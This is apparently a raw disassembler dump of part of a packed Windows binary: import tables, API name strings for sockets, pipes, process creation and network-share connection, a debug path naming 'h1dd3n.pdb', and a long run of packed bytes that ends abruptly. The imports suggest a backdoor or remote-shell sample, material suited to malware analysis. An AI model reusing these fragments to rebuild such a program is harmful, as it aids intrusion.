; DATA XREF: sub_40141B+D3r ; sub_408F54+2r ... dword_4F135C dd 77E79D5Bh ; DATA XREF: sub_40141B+6Br ; sub_40141B+30Er ... dword_4F1360 dd 77E7C2C4h ; DATA XREF: sub_40141B+64r ; .nsp0:00435910r dword_4F1364 dd 77E7751Ah ; DATA XREF: sub_40141B+2Cr ; sub_401CC1+2095r ... dword_4F1368 dd 77E75CEBh ; DATA XREF: sub_401CC1+6D5Dr ; sub_40A938+2Br ... dword_4F136C dd 77E6AD34h ; DATA XREF: sub_401CC1+604Dr ; sub_41615A+35r ... dword_4F1370 dd 77E71AFEh ; DATA XREF: sub_401CC1+5F26r ; .nsp0:00435928r dword_4F1374 dd 77E805D8h ; DATA XREF: sub_408F54+13Ar ; sub_408F54:loc_409408r ... dword_4F1378 dd 77E7A5FDh ; DATA XREF: sub_408F54+11r ; sub_4164D5+6Br ... dword_4F137C dd 77E65F4Ch ; DATA XREF: .nsp0:0040A24Fr ; sub_4174B4+34r ... dword_4F1380 dd 77E7513Ch ; DATA XREF: .nsp0:0040A2F1r ; sub_42FDA0+18r ... dword_4F1384 dd 77E7C657h ; DATA XREF: .nsp0:0040A365r ; sub_4162E2+32r ... dword_4F1388 dd 77E73C49h ; DATA XREF: sub_40A868+4Ar ; sub_40AFA4+1ABr ... dword_4F138C dd 77F7E300h ; DATA XREF: sub_40B9F0+13Fr ; sub_41ED50+35r ... dword_4F1390 dd 77F7E21Fh ; DATA XREF: sub_40B9F0+D4r ; sub_41ECE0+35r ... dword_4F1394 dd 77E7C706h ; DATA XREF: sub_40BC04+77r ; .nsp0:0043595Er dword_4F1398 dd 77F53275h ; DATA XREF: sub_40BC04+6Br ; sub_40BC04+22Fr ... dword_4F139C dd 77E79D8Ch ; DATA XREF: sub_40D37E+94r ; sub_40D46C+184r ... dword_4F13A0 dd 77E737DEh ; DATA XREF: sub_40D46C+43Dr ; .nsp0:00435970r dword_4F13A4 dd 77E78B82h ; DATA XREF: sub_40D46C+1ACr ; sub_40D46C+49Cr ... dword_4F13A8 dd 77E7A837h ; DATA XREF: sub_40D46C+AAr ; sub_40F1D3+1C4r ... dword_4F13AC dd 77E616B4h ; DATA XREF: sub_40E017+19Br ; sub_4107E7+115r ... dword_4F13B0 dd 77E79CE3h ; DATA XREF: sub_40E017+111r ; sub_410A31+77r ... dword_4F13B4 dd 77E79C90h ; DATA XREF: sub_40E017+FDr ; sub_40E017+10Ar ... dword_4F13B8 dd 77E7727Ah ; DATA XREF: sub_40E017+74r ; sub_410938+23r ... dword_4F13BC dd 77E64106h ; DATA XREF: sub_40F051+9Fr ; sub_41897B+1B6r ... dword_4F13C0 dd 77E64006h ; DATA XREF: sub_40F051+8Br ; sub_41897B+19Fr ... dword_4F13C4 dd 77E793EFh ; DATA XREF: sub_40F1D3+1EEr ; sub_40FB05+38r ... dword_4F13C8 dd 77E78EAAh ; DATA XREF: sub_40F483+5E8r ; .nsp0:004359ACr dword_4F13CC dd 77E79424h ; DATA XREF: sub_40F483+27Br ; .nsp0:004359B2r dword_4F13D0 dd 77E794BFh ; DATA XREF: sub_40F483+26Dr ; .nsp0:004359B8r dword_4F13D4 dd 77E75E67h ; DATA XREF: sub_40F483+20Dr ; sub_40F483+5D7r ... dword_4F13D8 dd 77E75D9Eh ; DATA XREF: sub_40F483+1FCr ; .nsp0:004359C4r dword_4F13DC dd 77E78C81h ; DATA XREF: sub_40FB05+6Cr ; sub_429380+3Cr ... dword_4F13E0 dd 77E76968h ; DATA XREF: sub_41055F+5Fr ; .nsp0:0042B14Ar ... dword_4F13E4 dd 77E74C59h ; DATA XREF: sub_4107E7+C7r ; .nsp0:004359D6r dword_4F13E8 dd 77EC7C51h ; DATA XREF: sub_410BBC+5Er ; .nsp0:004359DCr dword_4F13EC dd 77E802FCh ; DATA XREF: sub_411ED9+18Cr ; sub_411ED9+2D4r ... dword_4F13F0 dd 77E70F89h ; DATA XREF: sub_41458A+Dr ; sub_41DA60+Dr ... dword_4F13F4 dd 77E76A60h ; DATA XREF: sub_415ECC+2Dr ; .nsp0:004359F4r dword_4F13F8 dd 77E71B14h ; DATA XREF: sub_415F56+26r ; .nsp0:004359FAr dword_4F13FC dd 77E7166Fh ; DATA XREF: sub_415F56+1Dr ; .nsp0:00435A00r dword_4F1400 dd 77E75090h ; DATA XREF: sub_415F91+6Cr ; .nsp0:00435A06r dword_4F1404 dd 77E74D76h ; DATA XREF: sub_415F91+39r ; .nsp0:00435A0Cr dword_4F1408 dd 77E77797h ; DATA XREF: sub_415F91+28r ; .nsp0:00435A12r dword_4F140C dd 77E7011Ah ; DATA XREF: sub_416016+96r ; .nsp0:00435A18r dword_4F1410 dd 77E73CE2h ; DATA XREF: sub_416016+60r ; .nsp0:00435A1Er dword_4F1414 dd 77E668D9h ; DATA XREF: sub_41615A+15Dr ; .nsp0:00435A24r dword_4F1418 dd 77E80618h ; DATA XREF: sub_4164D5+D4r ; .nsp0:00435A2Ar dword_4F141C dd 77E79924h ; DATA XREF: sub_416A95+13r ; sub_429750+2A5r ... dword_4F1420 dd 77E77CCEh ; DATA XREF: sub_416B67+Fr ; sub_41E7D0+BFr ... dword_4F1424 dd 77E76A2Eh ; DATA XREF: sub_4175DD+DEr ; .nsp0:00435A3Cr dword_4F1428 dd 77E7FF65h ; DATA XREF: sub_417A44+5Ar ; .nsp0:00435A42r dword_4F142C dd 77EB7624h ; DATA XREF: sub_417A44+3Dr ; .nsp0:00435A48r dword_4F1430 dd 77E6C29Dh ; DATA XREF: sub_4180D5+1EAr ; .nsp0:00435A4Er dword_4F1434 dd 77E76C1Ah ; DATA XREF: sub_41897B+1CFr ; .nsp0:00435A54r dword_4F1438 dd 77E73196h ; DATA XREF: sub_41A4A0+2Ar ; sub_421830+19r ... dword_4F143C dd 77E7339Ch ; DATA XREF: sub_41A4A0+12r ; sub_42DE70+13r ... dword_4F1440 dd 77E6C924h ; DATA XREF: sub_41A4F0+7Cr ; sub_420030+39r ... dword_4F1444 dd 77F6183Eh ; DATA XREF: sub_435A6Cr dword_4F1448 dd 77E76E3Dh ; DATA XREF: sub_41DA60+9Fr ; sub_42DF80+5Er ... dword_4F144C dd 77E61608h ; DATA XREF: sub_41DA60+17r ; .nsp0:00435A78r dword_4F1450 dd 77E778C5h ; DATA XREF: sub_41E550+40r ; sub_41E550+86r ... dword_4F1454 dd 77E777EFh ; DATA XREF: sub_41E550+2Cr ; sub_41E750+Br ... dword_4F1458 dd 77E6177Ah ; DATA XREF: .nsp0:0041EAA2r ; sub_42A610+87r ... dword_4F145C dd 77E7C938h ; DATA XREF: .nsp0:0041EA73r ; .nsp0:00435A90r dword_4F1460 dd 77E7C486h ; DATA XREF: .nsp0:0041E9E6r ; .nsp0:00435A96r dword_4F1464 dd 77EB36A5h ; DATA XREF: sub_41EDC0+3r ; .nsp0:00435A9Cr dword_4F1468 dd 77E79C3Dh ; DATA XREF: .nsp0:0041EE6Er ; .nsp0:0041EE88r ... dword_4F146C dd 77E9BD34h ; DATA XREF: sub_41EED0+102r ; sub_41EED0+2F3r ... dword_4F1470 dd 77E79908h ; DATA XREF: sub_41FA60+9r ; sub_41FA60+16r ... dword_4F1474 dd 77EB8503h ; DATA XREF: .nsp0:0041FC09r ; .nsp0:00435AB4r dword_4F1478 dd 77F516F8h ; DATA XREF: sub_41FCA0+63r ; sub_41FDD0+11Br ... dword_4F147C dd 77F5722Fh ; DATA XREF: sub_41FD20+A3r ; sub_41FDD0+1B0r ... dword_4F1480 dd 77F51597h ; DATA XREF: sub_41FFC0+5Er ; .nsp0:00420175r ... dword_4F1484 dd 77E76E0Bh ; DATA XREF: sub_4200C0+3Cr ; .nsp0:004201A2r ... dword_4F1488 dd 77E7C726h ; DATA XREF: sub_4200C0+14r ; .nsp0:00435AD2r dword_4F148C dd 77E79E34h ; DATA XREF: .nsp0:0042014Cr ; .nsp0:00420160r ... dword_4F1490 dd 77E7980Ah ; DATA XREF: sub_420E10+A3r ; sub_420F20+A7r ... dword_4F1494 dd 77E77CC4h ; DATA XREF: sub_423C10+64r ; sub_423CF0+66r ... dword_4F1498 dd 77E79B39h ; DATA XREF: sub_423C10+4Ar ; sub_423CF0+50r ... dword_4F149C dd 77E7C5B4h ; DATA XREF: sub_423C10+9r ; .nsp0:00435AF0r dword_4F14A0 dd 77E72B29h ; DATA XREF: .nsp0:00423CB7r ; .nsp0:00435AF6r dword_4F14A4 dd 77F51587h ; DATA XREF: sub_423CF0+8Br ; .nsp0:00435AFCr dword_4F14A8 dd 77E78B61h ; DATA XREF: sub_423CF0+15r ; .nsp0:00423DACr ... dword_4F14AC dd 77E73163h ; DATA XREF: .nsp0:00423EB3r ; .nsp0:00435B08r dword_4F14B0 dd 77E7849Fh ; DATA XREF: sub_423EC0+1C7r ; sub_424370+17r ... dword_4F14B4 dd 77E7A13Fh ; DATA XREF: sub_424210+35r ; .nsp0:00435B14r dword_4F14B8 dd 77E6C703h ; DATA XREF: sub_424210+1Dr ; .nsp0:00435B1Ar dword_4F14BC dd 77E6D706h ; DATA XREF: sub_426420+35Ar ; .nsp0:00435B20r ... dd 0 dword_4F14C4 dd 71B2ACCBh ; DATA XREF: sub_435826r dd 0 dword_4F14CC dd 71AB4122h ; DATA XREF: sub_413F11+D4r ; .nsp0:004358A4r dword_4F14D0 dd 71AB1746h ; DATA XREF: sub_411A34+1DEr ; .nsp0:0043589Er dword_4F14D4 dd 71AB401Ch ; DATA XREF: sub_411A34+21Br ; sub_411A34+243r ... dword_4F14D8 dd 71AB1836h ; DATA XREF: sub_40EAD9+6Er ; sub_40EB56+8Er ... dword_4F14DC dd 71AB41DAh ; DATA XREF: sub_40E4A5+4Ar ; sub_40EAD9+15r ... dword_4F14E0 dd 71AB3F8Dh ; DATA XREF: sub_40E4A5+5Ar ; .nsp0:00435886r dword_4F14E4 dd 71AB155Ah ; DATA XREF: sub_40E4A5+8Dr ; sub_412A93+70r ... dword_4F14E8 dd 71AB3ECEh ; DATA XREF: sub_40E4A5+B5r ; .nsp0:0043587Ar dword_4F14EC dd 71AB5DE2h ; DATA XREF: sub_40E4A5+C9r ; .nsp0:00435874r dword_4F14F0 dd 71AB868Dh ; DATA XREF: sub_40E4A5+171r ; .nsp0:0043586Er dword_4F14F4 dd 71AB5A01h ; DATA XREF: sub_413FFA+20r ; .nsp0:004358AAr dword_4F14F8 dd 71AB12F8h ; DATA XREF: sub_40D974+27r ; sub_40DAB6+27r ... dword_4F14FC dd 71AB1746h ; DATA XREF: sub_40D974+36r ; sub_40DAB6+36r ... dword_4F1500 dd 71AB3E5Dh ; DATA XREF: sub_40D974+59r ; sub_40DAB6+59r ... dword_4F1504 dd 71AB5690h ; DATA XREF: sub_40D974+6Ar ; sub_40DAB6+6Ar ... dword_4F1508 dd 71AB1A6Dh ; DATA XREF: sub_40D974+E0r ; sub_40DAB6+E0r ... dword_4F150C dd 71AB3C22h ; DATA XREF: .nsp0:0040CC60r ; sub_40D974+45r ... dword_4F1510 dd 71AB1AF4h ; DATA XREF: sub_40C8D4+12r ; sub_40D974+C3r ... dword_4F1514 dd 71AB1890h ; DATA XREF: sub_40C736+4Cr ; sub_40E4A5+106r ... dword_4F1518 dd 71AB1B7Bh ; DATA XREF: sub_435832r dword_4F151C dd 71AB157Eh ; DATA XREF: sub_401CC1+29F4r ; .nsp0:0043582Cr dword_4F1520 dd 71AB2BBFh ; DATA XREF: .nsp0:0040DBB7r ; .nsp0:00435868r align 8 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 db '=',0 aWsasocketa_0 db 'WSASocketA',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 10h db '}',0 aExitprocess db 'ExitProcess',0 db 1Bh,0 aClosehandle db 'CloseHandle',0 aD_4 db 'D',0 aCreateprocessa db 'CreateProcessA',0 align 2 dw 124h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 59h ; Y db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 296h aSleep db 'Sleep',0 aJ_3 db 'J',0 aCreatethread db 'CreateThread',0 align 2 aW_1 db 'W',0 aDeletefilea db 'DeleteFileA',0 dd 704F01EFh, 72506E65h, 7365636Fh, 0F80073h aGetcurrentproc db 'GetCurrentProcessId',0 db 1Ah db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 db '(',0 aCopyfilea db 'CopyFileA',0 db 68h ; h db 2, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 10Dh aGetfileattribu db 'GetFileAttributesA',0 align 4 db 26h ; & db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 10h db 0CEh ; Î db 2, 57h, 61h aItforsingleobj db 'itForSingleObject',0 a? db '?',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 16Dh aGettickcount db 'GetTickCount',0 align 2 dw 29Fh aTerminatethrea db 'TerminateThread',0 dd 65470165h, 6D655474h, 74615070h, 4168h, 6F4D01DDh, 69466576h dd 41656Ch, 6F4C01C2h, 694C6461h, 72617262h, 4179h, 6547013Eh dd 6F725074h, 64644163h, 73736572h, 0CE0000h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 11C0000h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 65470175h, 72655674h, 6E6F6973h dd 417845h, 7845007Eh, 68547469h, 64616572h, 1C10000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aF_2 db 'f',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 1ABh aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aU_2 db 'U',0 aDeletecritical db 'DeleteCriticalSection',0 dw 2DFh aWritefile db 'WriteFile',0 a1_1 db '1',0 aCreateeventa db 'CreateEventA',0 align 2 dw 218h aReadfile_0 db 'ReadFile',0 align 2 a4_1 db '4',0 aCreatefilea db 'CreateFileA',0 dd 6554029Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440063h dd 63696C70h, 48657461h, 6C646E61h, 0F70065h aGetcurrentpr_0 db 'GetCurrentProcess',0 aC_4 db 'C',0 aCreatepipe db 'CreatePipe',0 align 4 dd 6547016Eh, 6D695474h, 726F4665h, 4174616Dh, 0FB0000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470112h, 6C694674h dd 7A695365h, 900065h, 646E6946h, 736F6C43h, 8A0065h aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 aI_3 db '‰',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 aA_4 db '',0 aFindnextfilea db 'FindNextFileA',0 aF_3 db '”',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 26Ah aSetfilepointer db 'SetFilePointer',0 align 4 db 41h ; A db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 0CCh db 2, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 db '¸',0 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 206h aQueryperform_1 db 'QueryPerformanceCounter',0 db 7 db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 dd 6547011Bh, 636F4C74h, 69546C61h, 656Dh, 6F4600AFh, 74616D72h dd 7373654Dh, 41656761h, 1930000h, 626F6C47h, 6E556C61h dd 6B636F6Ch, 18C0000h, 626F6C47h, 6F4C6C61h, 6B63h, 6E5502B0h dd 5670616Dh, 4F776569h, 6C694666h, 1D60065h, 5670614Dh dd 4F776569h, 6C694666h, 350065h aCreatefilemapp db 'CreateFileMappingA',0 align 4 db 6Ch ; l db 2, 53h, 65h aTfiletime db 'tFileTime',0 dw 114h aGetfiletime db 'GetFileTime',0 aA_5 db '€',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db '´',0 aFreelibrary db 'FreeLibrary',0 dw 2D2h aWidechartomult db 'WideCharToMultiByte',0 db 0E4h ; ä db 1, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 2FFh aLstrcmpia db 'lstrcmpiA',0 dw 10Bh aGetexitcodepro db 'GetExitCodeProcess',0 align 4 db 0F9h ; ù db 1, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 db 20h db 1, 47h, 65h aTlogicaldrives db 'tLogicalDrives',0 align 10h db 8Dh ; db 1, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 dw 1B8h aIsbadwriteptr db 'IsBadWritePtr',0 dw 1B5h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 1A7h aHeapvalidate db 'HeapValidate',0 align 2 dw 22Fh aRtlunwind db 'RtlUnwind',0 dw 170h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 db 5Dh ; ] db 1, 47h, 65h aTsystemtime db 'tSystemTime',0 db 0ADh ; db 1, 49h, 6Eh aTerlockeddecre db 'terlockedDecrement',0 align 4 db 0B0h ; ° db 1, 49h, 6Eh aTerlockedincre db 'terlockedIncrement',0 align 4 db 50h ; P db 1, 47h, 65h aTstartupinfoa db 'tStartupInfoA',0 ; --------------------------------------------------------------------------- retf 4700h ; --------------------------------------------------------------------------- aEtcommandlinea db 'etCommandLineA',0 db 74h ; t db 1, 47h, 65h aTversion db 'tVersion',0 align 2 aQ_3 db 'Q',0 aDebugbreak db 'DebugBreak',0 align 4 db 52h ; R db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 0F5h ; õ db 1, 4Fh, 75h aTputdebugstrin db 'tputDebugStringA',0 align 2 dw 1AAh aInitializecr_0 db 'InitializeCriticalSection',0 aE_2 db '…',0 aFatalappexita db 'FatalAppExitA',0 dw 199h aHeapalloc db 'HeapAlloc',0 dw 1A2h aHeaprealloc db 'HeapReAlloc',0 dd 6548019Fh, 72467061h, 6565h, 6548019Dh, 65447061h, 6F727473h dd 19B0079h, 70616548h, 61657243h, 6574h, 695602BFh, 61757472h dd 6572466Ch, 2BB0065h, 74726956h, 416C6175h, 636F6C6Ch dd 0FA0000h aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 6C5402A5h, 74655373h, 756C6156h, 2A20065h, 41736C54h dd 636F6C6Ch, 2A30000h, 46736C54h, 656572h, 65530271h dd 73614C74h, 72724574h, 726Fh, 6C5402A4h, 74654773h, 756C6156h dd 0F90065h, 43746547h, 65727275h, 6854746Eh, 64616572h dd 0BF0000h, 43746547h, 666E4950h, 0B9006Fh, 41746547h dd 5043h, 65470131h, 4D454F74h, 5043h, 6152020Bh, 45657369h dd 70656378h, 6E6F6974h, 1BF0000h, 614D434Ch, 72745370h dd 41676E69h, 1C00000h, 614D434Ch, 72745370h, 57676E69h dd 2AD0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 db '²',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 db '³',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 106h aGetenvironment db 'GetEnvironmentStrings',0 dw 108h aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 10h db 6Dh ; m db 2, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 115h aGetfiletype db 'GetFileType',0 db 7Ch ; | db 2, 53h, 65h aTstdhandle_0 db 'tStdHandle',0 align 10h aK_2 db 'ª',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 4 db 53h ; S db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 156h aGetstringtypew db 'GetStringTypeW',0 align 4 db 8Bh ; ‹ db 2, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 1B2h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 1BEh aIsvalidlocale db 'IsValidLocale',0 dw 1BDh aIsvalidcodepag db 'IsValidCodePage',0 aW_2 db 'w',0 aEnumsystemloca db 'EnumSystemLocalesA',0 align 2 dw 171h aGetuserdefault db 'GetUserDefaultLCID',0 align 4 dd 65530261h, 646E4574h, 6946664Fh, 656Ch, 6547011Dh, 636F4C74h dd 49656C61h, 576F666Eh, 210000h, 706D6F43h, 53657261h dd 6E697274h, 4167h, 6F430022h, 7261706Dh, 72745365h, 57676E69h dd 2620000h aSetenvironment db 'SetEnvironmentVariableA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 4 dd 0D28h dup(0) db 0 byte_4F5345 db 3 dup(0) ; DATA XREF: .nsp0:004521F0o dd 0A2Eh dup(0) aNb10 db 'NB10',0 align 4 dd 463857E3h, 1, 445C3A43h, 6D75636Fh, 73746E65h, 646E6120h dd 74655320h, 676E6974h, 63695C73h, 65445C63h, 6F746B73h dd 654E5C70h, 6F462077h, 7265646Ch, 6265445Ch, 685C6775h dd 33646431h, 64702E6Eh, 62h, 0EBh dup(0) dd 1995h, 74A2h, 0D535h, 1132Fh, 114E5h, 150EBh, 161E5h dd 24DA5h, 2EA95h, 3 dup(0) dd 77E805D8h, 77E7A5FDh, 77E7980Ah, 77E79E34h, 4 dup(0) dd 0F806Ch, 0F8030h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h dd 64644163h, 73736572h, 0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69560000h, 61757472h dd 6572466Ch, 0DE000065h, 5E000569h, 80000h, 569DEh, 0 dd 0D9A22A00h, 0BA981285h, 15B933D3h, 4807002Ah, 0F595h dd 148E108h, 15A060E9h, 8B2CEC83h, 3024441Dh, 5503481Fh dd 7E01BE56h, 0D3D6182Dh, 57041CE2h, 0C7B78F0h, 89FA2BE0h dd 133A5468h, 2C4A603Ch, 0E1B8C803h, 18447DD3h, 33ED33E0h dd 180D247Ch, 1E073605h, 5F34459Fh, 9105974h, 2F1C1220h dd 0C6C1FBFh, 3C64C60Ch, 141383E1h, 208B0974h, 0F33C0473h dd 804CBFABh, 71B60F40h, 75D23303h, 83010E8Ah, 0C86305C1h dd 277D89FFh, 6FD513Eh, 0D60B08E2h, 9FF5037h, 6E3967F2h dd 0E086D34Ch, 8B53BD19h, 6F8C1816h, 34082310h, 3CC1D5F8h dd 3DD10304h, 3101A753h, 1C312C71h, 7391C88Dh, 44131666h dd 0C1110E7Ah, 0E06D08E6h, 1FB4A07Fh, 728B443Dh, 0EF7FF87Ah dd 0F9AF0F07h, 8352F73Bh, 8BDEA1ABh, 0A3C2BFC7h, 1DF92BF5h dd 4D03052Eh, 683B89h, 5C8B40C6h, 3808BDD8h, 1835DCB9h dd 0BA30702Ah, 37E655D0h, 0CABEABEFh, 30364E3h, 82FF69FBh dd 0FD2D480Ch, 8C8D0607h, 141CD80Fh, 0B6CF7E83h, 9C845181h dd 0F0142B40h, 0B6B3A87Ch, 3439680Ch, 216ABA52h, 0B1DB1F31h dd 0C3E38115h, 0EB5A343h, 64130C8Dh, 0C898FACh, 3923B40Ah dd 4DA3F790h, 73B53885h, 9CB16B57h, 0A485D28Ch, 1474E07Dh dd 53FA816Ah, 8A8D0F0Ah, 6D6C4681h, 0AE2CCECFh, 8D231C9Bh dd 0A1B20F73h, 0F1805A90h, 8B01C583h, 5693520Ch, 89F039C8h dd 0B293633Ch, 0C7F336EBh, 478BF791h, 0CDCF9612h, 548D7EC0h dd 53740112h, 8C0C6A96h, 0EB02FF29h, 0CD241E52h, 2204A689h dd 887C2021h, 0AA8692FEh, 0A54F070Bh, 0CE673914h, 0F61825ECh dd 2B046FF9h, 27808869h, 0C70D7D40h, 18224469h, 8805CE7Ch dd 7D3A0AF9h, 367FB0Ch, 0BD651855h, 615111Fh, 0EB1220Ch dd 0EAC1D18Bh, 0ABCAE1F9h, 0B12F0E4h, 0FD40E76Bh, 4C8CE81Ch dd 0DA9E9BABh, 0E5206AD0h, 73F23BD1h, 0C2214A7Ch, 9048A0BAh dd 0A77D234h, 4425949Eh, 8A1D654h, 508531FFh, 0C29C0FD0h dd 3F2889CCh, 5311DE14h, 0E8AB148Dh, 9D83EA89h, 494003E2h dd 14F5F18Bh, 2B44BF03h, 0B1F292C2h, 8F59CA93h, 51737108h dd 45CA9012h, 2EC79B69h, 0CE8B5732h, 0C1C81030h, 0CA8CE954h dd 7CF13B26h, 0B167A91Ah, 0D409FA73h, 0F4C558Dh, 2CC298CAh dd 4EF95481h, 2433A4BCh, 0E8C8DC1h, 0E1C61873h, 0EC871408h dd 0FC5E921h, 8F47E03Ch, 0CDC9330Ah, 89C29D47h, 72824417h dd 0D309718Dh, 0C396464h, 14D02BB6h, 0A98A87CEh, 3985023Ah dd 0A68944FFh, 0E9F9139Ch, 0D9895049h, 0E90F89F0h, 0E78EE755h dd 8BF1B3EFh, 24BD1AEDh, 0D08A6A6Eh, 2217EB39h, 0D4EBD17Bh dd 77602406h, 0DC0A1EF1h, 0E9258062h, 47B9D47Fh, 4C8D60BCh dd 5CAD9036h, 0D33B1B12h, 9A212541h, 0E055590Bh, 0AA3D30A1h dd 0A4C7ABDBh, 1164F38Ah, 0AA185A14h, 425232EFh, 0E1ED8775h dd 0B189EAFh, 0CB8D182Bh, 451414DEh, 835D166Ah, 0A22C3A96h dd 125481C2h, 444BCE11h, 2B852AFAh, 2C6532D8h, 89C9D943h dd 0A812039h, 0DB330813h, 340EE44h, 0B4C8823h, 45FAC83Ch dd 11FB62D7h, 518A629Fh, 2E596304h, 479850Fh, 66C88BC6h dd 39BB3002h, 0EB6A58E1h, 0CC672152h, 0F2819089h, 4791E908h dd 0DE62DF10h, 2CCD3183h, 2BE672BDh, 14F0EB90h, 9189A7A9h dd 3783E515h, 0EBEDA8A9h, 3070A712h, 2D6C8D5Eh, 0BAE94E90h dd 0A67592BAh, 4ACCEC95h, 0DA2B04E2h, 0B083EB03h, 0B2B80430h dd 7725A26Fh, 8070549h, 0DD01E57Dh, 3BB057Ch, 1CC04428h dd 8D08E3C1h, 0C00B9C0Ah, 0F1CEA906h, 728B7B6Ah, 366B2DE7h dd 0A21543D7h, 0C8B3E512h, 4C4091A0h, 0FAF476E5h, 58C92A0h dd 3EF428Ah, 0FBF9D1C3h, 0DC8DCE7h, 300266CFh, 2C05BF0Eh dd 0E7D3267Dh, 24018D22h, 979124BBh, 82222B14h, 47C1C24h dd 8C0ABCBAh, 0EB28444Ch, 72CF0663h, 8D032204h, 0EB0B949h dd 391AAC42h, 0D14C24F3h, 0FF03E802h, 8E72F03Bh, 2BA9A83h dd 92D97563h, 889C82F2h, 0E7A40E0Ch, 66B8904h, 2C49D95Bh dd 74A770AEh, 5F04EB8Ah, 12125721h, 9923A33Ah, 0DBD499D1h dd 0CC1A46EBh, 59409F99h, 8D0A0809h, 1A991B5Ch, 0AFB01864h dd 87A4EB9Ah, 749B1449h, 29F374FAh, 3C575CB1h, 0A0CF254Ch dd 2C583DBh, 8DCB1F03h, 0B923E5A4h, 0EDF0118Ah, 142C8801h dd 85AAA51Fh, 4EB9857Ch, 0BEEA750Ah, 83B108Ch, 820F0750h dd 19FFF84Dh, 725451E1h, 5F5B057Ah, 680895Eh, 0E835DC0h dd 18C22CC4h, 0B9102D19h, 21650F9h, 50503387h, 65292321h dd 830168CCh, 5310EC04h, 57F18B56h, 446FB00h, 9B92A99h dd 0F9F70683h, 1105BF57h, 68046A1Ch, 0BC261012h, 99C00A36h dd 96B4FFF7h, 30D81330h, 0CA0318E0h, 0AA24BA4Fh, 41CB7E4h dd 8108478Bh, 70AAF5C2h, 6A705273h, 0ED0FF2Eh, 0C5D88E4Eh dd 41D08D06h, 0E5525051h, 83304B80h, 8D5611C6h, 1A2010CCh dd 0E6E8805Ch, 4FC6F654h, 80C00C66h, 0FA53E0CFh, 37A0FBD1h dd 0A35B50A7h, 0CC22310h, 50938868h, 40050297h, 0E9C00447h dd 10A21CDh, 0F80300Eh, 1C08340Dh, 7950DE10h, 0C5A450BAh dd 20291066h, 15075108h, 96BFC512h, 8D188024h, 5150C51Dh dd 20F235Ch, 7FF3090Dh, 95044DAEh, 0EED3806h, 85A07438h dd 0F306A0E5h, 140884BAh, 1C018A33h, 938070A8h, 24278060h dd 84C854A5h, 1BD191C3h, 0B869DE70h, 18C03DFDh, 502A8D1Ch dd 5C900F03h, 3835562Bh, 187B4A2h, 56E80287h, 4714E508h dd 0F2575383h, 0D80E855h, 7ED815Dh, 8D8C1360h, 0C012FEB5h dd 0FC468B0Ch, 458C083h, 0DEF2760Ah, 87E56F6h, 31C7600h dd 21BD8DF2h, 0AD32C51Eh, 900220ABh, 484C7B83h, 7CA4883h dd 0F6854473h, 23B90E71h, 0E54683B7h, 0FADFC07Bh, 0CFEFA4F3h dd 390D5822h, 6F1A2F01h, 32C30604h, 861D78F9h, 3AE8511Ch dd 19053DFh, 2C4E8B04h, 4B3F8689h, 20406A26h, 0F3915164h dd 21862995h, 0D198589h, 0D5E85638h, 0C87288CBh, 0C085071Ch dd 0C194360Fh, 0B23228C8h, 1749470Ch, 60014F90h, 0C985349Ah dd 8984290Fh, 8983D85h, 6394651h, 746E0183h, 57958B7Bh dd 8DCD511Ah, 440DB25Bh, 458AA475h, 0F72DEB41h, 805780C1h dd 81521E74h, 132B4E1h, 858D517Fh, 50319812h, 8A1E310Eh dd 1D578905h, 3052426h, 41C80308h, 3F10528Bh, 0A0A91CDDh dd 6A620D96h, 88B68510h, 5366C01Ch, 0F9088131h, 370C1415h dd 4425DE24h, 0C430775h, 0F0404BE3h, 17F703F1h, 83E906C6h dd 89982B50h, 25900146h, 5704C28Dh, 65D435E8h, 48FFCA9Ch dd 8E9903B5h, 4620DA2Dh, 3C7030Ch, 5B5F5E5Dh, 0ECDA55C3h dd 24FCD961h, 10E1E8AFh, 34EB815Bh, 1C3F14B5h, 20ED6D4h dd 93FF51F7h, 89249D44h, 5617B045h, 0B77E8A0Ah, 0FB96D31Ch dd 283AC1Dh, 0F7521674h, 